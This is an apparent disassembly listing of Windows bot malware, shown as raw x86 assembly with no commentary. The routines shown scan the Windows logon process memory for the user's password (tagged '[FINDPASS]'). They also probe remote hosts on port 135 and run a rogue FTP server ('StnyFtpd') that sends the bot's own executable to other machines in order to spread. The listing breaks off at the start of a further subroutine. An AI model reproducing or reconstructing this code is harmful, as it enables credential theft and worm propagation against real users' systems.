mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
call ds:dword_494364
test eax, eax
jz loc_406167
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_406167
test [ebp+var_2B], 1
jnz loc_406167
push [ebp+var_34]
push 8
call esi
push eax
call edi
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx
test eax, eax
jz loc_406167
loc_4060BD: ; CODE XREF: sub_405FE1+112j
push edi
push offset dword_449F28
call sub_431000
pop ecx
test eax, eax
pop ecx
jnz short loc_4060E5
lea eax, [edi+200h]
push eax
push offset dword_44A728
call sub_431000
pop ecx
test eax, eax
pop ecx
jz short loc_4060F5
loc_4060E5: ; CODE XREF: sub_405FE1+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_406167
jmp short loc_4060BD
; ---------------------------------------------------------------------------
loc_4060F5: ; CODE XREF: sub_405FE1+102j
test edi, edi
jz short loc_406167
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
call ds:dword_494360
test eax, eax
jz short loc_406130
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
call ds:dword_49435C
test eax, eax
jz short loc_406130
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_406130: ; CODE XREF: sub_405FE1+12Bj
; sub_405FE1+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_44B14C, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_44B144, eax
mov dword_44B148, edi
loc_406167: ; CODE XREF: sub_405FE1+90j
; sub_405FE1+A2j ...
push [ebp+arg_0]
push 0
call esi
push eax
call ds:dword_494350
mov esi, [ebp+var_10]
loc_406178: ; CODE XREF: sub_405FE1+74j
push [ebp+var_4]
call ds:dword_4942E0
pop edi
mov eax, esi
pop ebx
loc_406185: ; CODE XREF: sub_405FE1+24j
pop esi
leave
retn
sub_405FE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406188 proc near ; CODE XREF: sub_405C86:loc_405D7Ep
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
call ds:dword_494370
test eax, eax
mov [ebp+arg_0], eax
jz loc_40627A
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call ds:dword_49436C
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_406271
mov edi, ds:dword_494358
loc_4061D3: ; CODE XREF: sub_406188+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
call ds:dword_494364
test eax, eax
jz short loc_40625F
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_406265
test [ebp+var_13], 1
jnz short loc_406265
push ecx
push 8
call edi
push eax
call ds:dword_494354
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
call ds:dword_494368
test eax, eax
jz short loc_406251
push offset dword_449F28
push esi
call sub_431000
pop ecx
test eax, eax
pop ecx
jnz short loc_406251
lea eax, [esi+400h]
push offset dword_44A728
push eax
call sub_431000
pop ecx
test eax, eax
pop ecx
jz short loc_406281
loc_406251: ; CODE XREF: sub_406188+9Fj
; sub_406188+B0j
push esi
push 0
call edi
push eax
call ds:dword_494350
jmp short loc_406265
; ---------------------------------------------------------------------------
loc_40625F: ; CODE XREF: sub_406188+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_406265: ; CODE XREF: sub_406188+71j
; sub_406188+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_4061D3
loc_406271: ; CODE XREF: sub_406188+3Fj
push [ebp+arg_0]
call ds:dword_4942E0
loc_40627A: ; CODE XREF: sub_406188+1Ej
xor eax, eax
loc_40627C: ; CODE XREF: sub_406188+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_406281: ; CODE XREF: sub_406188+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_44B144, ebx
mov dword_44B148, eax
cmp [eax], cl
jnz short loc_4062A3
cmp [eax+1], cl
jz short loc_4062AB
loc_4062A3: ; CODE XREF: sub_406188+114j
; sub_406188+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_4062A3
loc_4062AB: ; CODE XREF: sub_406188+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
call ds:dword_4942E0
push 1
pop eax
jmp short loc_40627C
sub_406188 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4062BE proc near ; CODE XREF: sub_405C86+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_44B140
push esi
mov esi, ds:dword_494358
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi
push eax
call ds:dword_494354
mov ecx, dword_44B140
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_44B148
push eax
call sub_418A00
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_44B14C
push eax
call dword_44AF2C
push [ebp+var_4]
mov edi, offset dword_44AF38
push offset dword_449F28
push offset dword_44A728
push [ebp+arg_0]
push offset aFindpassTheW_0 ; "[FINDPASS]: The Windows logon (Pid: <%d"...
push 200h
push edi
call sub_418EF0
add esp, 1Ch
push [ebp+var_4]
push 0
call esi
push eax
call ds:dword_494350
mov eax, edi
pop edi
pop esi
leave
retn
sub_4062BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406355 proc near ; CODE XREF: sub_405C86:loc_405DC2p
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_44B140
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call ds:dword_494358
push eax
call ds:dword_494354
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_44A728
mov edi, 200h
mov esi, offset dword_449D28
loc_40639B: ; CODE XREF: sub_406355+FAj
mov eax, dword_44B140
add eax, eax
push eax
push dword_44B148
push [ebp+var_14]
call sub_418A00
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_44AF2C
mov eax, dword_44B140
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_406410
loc_4063D8: ; CODE XREF: sub_406355+B3j
cmp [ebp+var_8], 0
jz short loc_40642D
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_4063FC
cmp byte ptr [ecx+1], 0
jnz short loc_4063FC
cmp dl, 20h
jnb short loc_4063F6
and [ebp+var_8], 0
loc_4063F6: ; CODE XREF: sub_406355+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_406400
loc_4063FC: ; CODE XREF: sub_406355+90j
; sub_406355+96j
and [ebp+var_8], 0
loc_406400: ; CODE XREF: sub_406355+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_4063D8
cmp [ebp+var_8], 0
jz short loc_40642D
loc_406410: ; CODE XREF: sub_406355+81j
push [ebp+var_14]
push offset dword_449F28
push ebx
push [ebp+arg_0]
push offset aFindpassTheW_1 ; "[FINDPASS]: The Windows logon (Pid: <%d"...
push edi
push esi
call sub_418EF0
add esp, 1Ch
jmp short loc_406445
; ---------------------------------------------------------------------------
loc_40642D: ; CODE XREF: sub_406355+87j
; sub_406355+B9j
push offset dword_449F28
push ebx
push [ebp+arg_0]
push offset aFindpassTheW_2 ; "[FINDPASS]: The Windows logon (Pid: <%d"...
push edi
push esi
call sub_418EF0
add esp, 18h
loc_406445: ; CODE XREF: sub_406355+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_40639B
push [ebp+var_14]
push 0
call ds:dword_494358
push eax
call ds:dword_494350
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_406355 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40646E proc near ; CODE XREF: sub_4064A6+125p
; sub_4064A6+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_40649C
loc_40647F: ; CODE XREF: sub_40646E+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41A7A0
add esp, 0Ch
test eax, eax
jz short loc_4064A2
inc esi
cmp esi, edi
jl short loc_40647F
loc_40649C: ; CODE XREF: sub_40646E+Fj
xor al, al
loc_40649E: ; CODE XREF: sub_40646E+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4064A2: ; CODE XREF: sub_40646E+27j
mov al, 1
jmp short loc_40649E
sub_40646E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4064A6 proc near ; CODE XREF: sub_4013F1+8Bp
; sub_4013F1+174p ...
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_418D40
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_4064E7
dec eax
jz short loc_4064C5
dec eax
loc_4064BF: ; CODE XREF: sub_4064A6+57j
xor eax, eax
loc_4064C1: ; CODE XREF: sub_4064A6+3Fj
; sub_4064A6+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_4064C5: ; CODE XREF: sub_4064A6+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_44B700 ; inet_addr
push eax
call sub_402E0C
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_4064C1
; ---------------------------------------------------------------------------
loc_4064E7: ; CODE XREF: sub_4064A6+13j
push 6
push 1
push 2
call dword_44B740 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_4064BF
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_4189A0
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_44B6C0 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40AED0
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_44B668 ; connect
cmp eax, edi
jz loc_406603
push ebx
push 48h
push offset dword_438570
push esi
call dword_44B710 ; send
cmp eax, edi
jz loc_406603
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_44B6D8 ; recv
cmp eax, edi
jz loc_406603
cmp [ebp+var_200E], 0Ch
jnz short loc_406603
push ebx
push 18h
push offset dword_4385BC
push [ebp+arg_4]
call dword_44B710 ; send
cmp eax, edi
jz short loc_406603
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_44B6D8 ; recv
mov esi, eax
cmp esi, edi
jz short loc_406603
cmp [ebp+var_200E], 2
jnz short loc_406603
push 10h
push offset dword_4385D8
lea eax, [ebp+var_2010]
push esi
push eax
call sub_40646E
add esp, 10h
test al, al
jz short loc_4065E3
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_406603
; ---------------------------------------------------------------------------
loc_4065E3: ; CODE XREF: sub_4064A6+12Fj
push 10h
push offset dword_4385EC
lea eax, [ebp+var_2010]
push esi
push eax
call sub_40646E
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_406603: ; CODE XREF: sub_4064A6+9Bj
; sub_4064A6+B2j ...
push [ebp+arg_4]
call dword_44B758 ; closesocket
mov eax, ebx
pop ebx
jmp loc_4064C1
sub_4064A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406614 proc near ; DATA XREF: sub_402994+226o
var_A6C = byte ptr -0A6Ch
var_8DC = byte ptr -8DCh
var_6DC = dword ptr -6DCh
var_6D8 = byte ptr -6D8h
var_4C4 = byte ptr -4C4h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_438 = dword ptr -438h
var_334 = byte ptr -334h
var_2D0 = byte ptr -2D0h
var_29C = byte ptr -29Ch
var_238 = byte ptr -238h
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_124 = byte ptr -124h
var_F8 = byte ptr -0F8h
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_48 = byte ptr -48h
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A6Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6DC]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A6C]
xor edi, edi
push eax
push 101h
mov [ebp+var_28], ebx
mov [ebp+var_18], ebx
mov [ebp+var_228], edi
mov [ebp+var_438], edi
call ds:dword_4944AC ; WSAStartup
push edi
call sub_41ABD0
push eax
call sub_418FF0
pop ecx
pop ecx
call sub_419000
cdq
mov ecx, 0FC17h
push edi
idiv ecx
push ebx
push 2
add edx, 3E8h
mov dword_44B154, edx
call ds:dword_4944B0 ; socket
mov esi, eax
lea eax, [ebp+var_28]
push 4
push eax
push 4
push 0FFFFh
push esi
mov [ebp+var_C], esi
call ds:dword_4944B4 ; setsockopt
lea eax, [ebp+var_18]
push eax
push 8004667Eh
push esi
call ds:dword_4944B8 ; ioctlsocket
mov ax, word ptr dword_44B154
mov [ebp+var_38], 2
push eax
mov [ebp+var_34], edi
call ds:dword_4944BC ; htons
mov [ebp+var_36], ax
lea eax, [ebp+var_38]
push 10h
push eax
push esi
call ds:dword_4944C0 ; bind
test eax, eax
jge short loc_4066ED
mov eax, ebx
jmp loc_406C16
; ---------------------------------------------------------------------------
loc_4066ED: ; CODE XREF: sub_406614+D0j
push 0Ah
push esi
call ds:dword_4944C4 ; listen
mov [ebp+var_228], ebx
mov ebx, ds:dword_4944C8
mov [ebp+var_224], esi
mov [ebp+var_4], esi
loc_40670B: ; CODE XREF: sub_406614+12Ej
; sub_406614+5FAj
push 41h
lea esi, [ebp+var_228]
pop ecx
lea edi, [ebp+var_438]
rep movsd
xor edi, edi
lea eax, [ebp+var_438]
push edi
push edi
push edi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call ds:dword_4944CC ; select
cmp eax, 0FFFFFFFFh
jz loc_406C13
cmp [ebp+var_4], edi
mov [ebp+arg_0], edi
jl short loc_40670B
loc_406744: ; CODE XREF: sub_406614+5F4j
xor esi, esi
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_4189A0
push 64h
lea eax, [ebp+var_AC]
push esi
push eax
call sub_4189A0
add esp, 18h
lea eax, [ebp+var_438]
push eax
push edi
call sub_430C92 ; __WSAFDIsSet
test eax, eax
jz loc_406C01
cmp edi, [ebp+var_C]
jnz loc_406807
lea eax, [ebp+var_24]
mov [ebp+var_24], 10h
push eax
lea eax, [ebp+var_238]
push eax
push [ebp+var_C]
call ds:dword_4944D4 ; accept
cmp eax, 0FFFFFFFFh
jz loc_406C01
xor ecx, ecx
cmp [ebp+var_228], esi
jbe short loc_4067D1
lea edx, [ebp+var_224]
jmp short loc_4067BE
; ---------------------------------------------------------------------------
loc_4067BB: ; CODE XREF: sub_406614+1BBj
mov edx, [ebp+arg_0]
loc_4067BE: ; CODE XREF: sub_406614+1A5j
cmp [edx], eax
jz short loc_4067D1
inc ecx
add edx, 4
cmp ecx, [ebp+var_228]
mov [ebp+arg_0], edx
jb short loc_4067BB
loc_4067D1: ; CODE XREF: sub_406614+19Dj
; sub_406614+1ACj
cmp ecx, [ebp+var_228]
jnz short loc_4067EF
cmp [ebp+var_228], 40h
jnb short loc_4067EF
mov [ebp+ecx*4+var_224], eax
inc [ebp+var_228]
loc_4067EF: ; CODE XREF: sub_406614+1C3j
; sub_406614+1CCj
cmp eax, [ebp+var_4]
jle short loc_4067F7
mov [ebp+var_4], eax
loc_4067F7: ; CODE XREF: sub_406614+1DEj
push esi
push 15h
push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_406C01
; ---------------------------------------------------------------------------
loc_406807: ; CODE XREF: sub_406614+16Bj
push esi
lea eax, [ebp+var_29C]
push 64h
push eax
push edi
call ds:dword_4944D8 ; recv
test eax, eax
jg short loc_40686E
mov edx, [ebp+var_228]
xor ecx, ecx
cmp edx, esi
jbe short loc_406862
lea eax, [ebp+var_224]
loc_40682E: ; CODE XREF: sub_406614+224j
cmp [eax], edi
jz short loc_40683C
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_40682E
jmp short loc_406862
; ---------------------------------------------------------------------------
loc_40683C: ; CODE XREF: sub_406614+21Cj
dec edx
cmp ecx, edx
jnb short loc_40685C
lea eax, [ebp+ecx*4+var_224]
loc_406848: ; CODE XREF: sub_406614+246j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_228]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_406848
loc_40685C: ; CODE XREF: sub_406614+22Bj
dec [ebp+var_228]
loc_406862: ; CODE XREF: sub_406614+212j
; sub_406614+226j
push edi
call ds:dword_4944DC ; closesocket
jmp loc_406C01
; ---------------------------------------------------------------------------
loc_40686E: ; CODE XREF: sub_406614+206j
lea eax, [ebp+var_334]
push eax
lea eax, [ebp+var_AC]
push eax
lea eax, [ebp+var_29C]
push offset aSS_3 ; "%s %s"
push eax
call sub_4192A0
lea eax, [ebp+var_AC]
push offset aUser ; "USER"
push eax
call sub_419360
add esp, 18h
test eax, eax
jnz short loc_4068B2
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_406BEC
; ---------------------------------------------------------------------------
loc_4068B2: ; CODE XREF: sub_406614+28Fj
lea eax, [ebp+var_AC]
push offset aPass ; "PASS"
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_4068D6
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_406BEC
; ---------------------------------------------------------------------------
loc_4068D6: ; CODE XREF: sub_406614+2B3j
lea eax, [ebp+var_AC]
push offset aSyst ; "SYST"
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_4068FA
push esi
push 0Dh
push offset a215Stnyftpd ; "215 StnyFtpd\n"
jmp loc_406BEC
; ---------------------------------------------------------------------------
loc_4068FA: ; CODE XREF: sub_406614+2D7j
lea eax, [ebp+var_AC]
push offset aRest ; "REST"
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40691E
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_406BEC
; ---------------------------------------------------------------------------
loc_40691E: ; CODE XREF: sub_406614+2FBj
lea eax, [ebp+var_AC]
push offset off_438694
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_406942
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_406BEC
; ---------------------------------------------------------------------------
loc_406942: ; CODE XREF: sub_406614+31Fj
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40697D
lea eax, [ebp+var_334]
push offset aA_0 ; "A"
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40697D
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_406BEC
; ---------------------------------------------------------------------------
loc_40697D: ; CODE XREF: sub_406614+343j
; sub_406614+35Aj
lea eax, [ebp+var_AC]
push offset aType_0 ; "TYPE"
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_4069B8
lea eax, [ebp+var_334]
push offset aI ; "I"
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_4069B8
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_406BEC
; ---------------------------------------------------------------------------
loc_4069B8: ; CODE XREF: sub_406614+37Ej
; sub_406614+395j
lea eax, [ebp+var_AC]
push offset aPasv ; "PASV"
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_406A06
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_124]
rep movsd
push eax
lea eax, [ebp+var_124]
push eax
movsw
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_124]
loc_4069F6: ; CODE XREF: sub_406614+431j
push eax
push [ebp+arg_0]
call ebx ; send
mov edi, [ebp+arg_0]
xor esi, esi
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_406A06: ; CODE XREF: sub_406614+3B9j
lea eax, [ebp+var_AC]
push offset aList ; "LIST"
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_406A47
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C4]
rep movsd
movsw
push eax
lea eax, [ebp+var_C4]
push eax
movsb
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_C4]
jmp short loc_4069F6
; ---------------------------------------------------------------------------
loc_406A47: ; CODE XREF: sub_406614+407j
lea eax, [ebp+var_AC]
push offset aPort ; "PORT"
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_406B18
lea eax, [ebp+var_2D0]
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_29C]
push offset aS_2 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_4192A0
lea eax, [ebp+var_F8]
push eax
call sub_4195F0
mov [ebp+var_8], eax
lea eax, [ebp+var_2D0]
push eax
call sub_4195F0
mov [ebp+arg_0], eax
push 32h
lea eax, [ebp+var_F8]
push esi
push eax
call sub_4189A0
push [ebp+arg_0]
lea eax, [ebp+var_F8]
push [ebp+var_8]
push offset aXX ; "%x%x\n"
push eax
call sub_418D70
add esp, 44h
lea eax, [ebp+var_F8]
push 10h
push esi
push eax
call sub_41ABB0
mov [ebp+var_8], eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_48]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_418D70
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
jmp loc_406BEC
; ---------------------------------------------------------------------------
loc_406B18: ; CODE XREF: sub_406614+448j
lea eax, [ebp+var_AC]
push offset aRetr ; "RETR"
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_406BCD
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_8]
lea eax, [ebp+var_48]
push eax
call sub_406C1D
pop ecx
cmp eax, 1
pop ecx
jnz short loc_406BC3
call sub_406C9A
cmp eax, 1
jnz loc_406BEF
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_6D8]
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_8DC]
push offset aFtpFileTransfe ; "[FTP]: File transfer complete to IP: %s"...
push eax
call sub_418D70
add esp, 10h
cmp [ebp+var_440], esi
jnz short loc_406BB4
push esi
lea eax, [ebp+var_8DC]
push [ebp+var_444]
push eax
lea eax, [ebp+var_4C4]
push eax
push [ebp+var_6DC]
call sub_40842D
add esp, 14h
loc_406BB4: ; CODE XREF: sub_406614+57Bj
lea eax, [ebp+var_8DC]
push eax
call sub_4035E1
pop ecx
jmp short loc_406BEF
; ---------------------------------------------------------------------------
loc_406BC3: ; CODE XREF: sub_406614+53Bj
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_406BEC
; ---------------------------------------------------------------------------
loc_406BCD: ; CODE XREF: sub_406614+519j
lea eax, [ebp+var_AC]
push offset aQuit ; "QUIT"
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_406BEF
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_406BEC: ; CODE XREF: sub_406614+299j
; sub_406614+2BDj ...
push edi
call ebx ; send
loc_406BEF: ; CODE XREF: sub_406614+3EDj
; sub_406614+545j ...
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_4189A0
add esp, 0Ch
loc_406C01: ; CODE XREF: sub_406614+162j
; sub_406614+18Fj ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_406744
jmp loc_40670B
; ---------------------------------------------------------------------------
loc_406C13: ; CODE XREF: sub_406614+122j
push 1
pop eax
loc_406C16: ; CODE XREF: sub_406614+D4j
pop edi
pop esi
pop ebx
leave
retn 4
sub_406614 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406C1D proc near ; CODE XREF: sub_406614+531p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call ds:dword_4944AC ; WSAStartup
push 0
push 1
push 2
call ds:dword_4944B0 ; socket
push [ebp+arg_0]
mov dword_44B150, eax
mov [ebp+var_10], 2
call ds:dword_4944A0 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call ds:dword_4944BC ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_44B150
call ds:dword_4944A4 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_406C95
push dword_44B150
call ds:dword_4944DC ; closesocket
call ds:dword_4944A8 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_406C95: ; CODE XREF: sub_406C1D+60j
push 1
pop eax
leave
retn
sub_406C1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406C9A proc near ; CODE XREF: sub_406614+53Dp
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call ds:dword_4942F8
lea eax, [ebp+var_104]
push offset aRb_0 ; "rb"
push eax
call sub_419D70
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_406D31
test byte ptr [esi+0Ch], 10h
jnz short loc_406D15
push edi
mov edi, 400h
loc_406CDD: ; CODE XREF: sub_406C9A+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_419D90
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push dword_44B150
call ds:dword_4944C8 ; send
push 1
call ds:dword_4942D8
test byte ptr [esi+0Ch], 10h
jz short loc_406CDD
pop edi
loc_406D15: ; CODE XREF: sub_406C9A+3Bj
push esi
call sub_419740
pop ecx
push dword_44B150
call ds:dword_4944DC ; closesocket
call ds:dword_4944A8 ; WSACleanup
push 1
pop eax
loc_406D31: ; CODE XREF: sub_406C9A+35j
pop esi
leave
retn
sub_406C9A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406D34 proc near ; DATA XREF: sub_402994+333o
; sub_40C50A+54E6o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
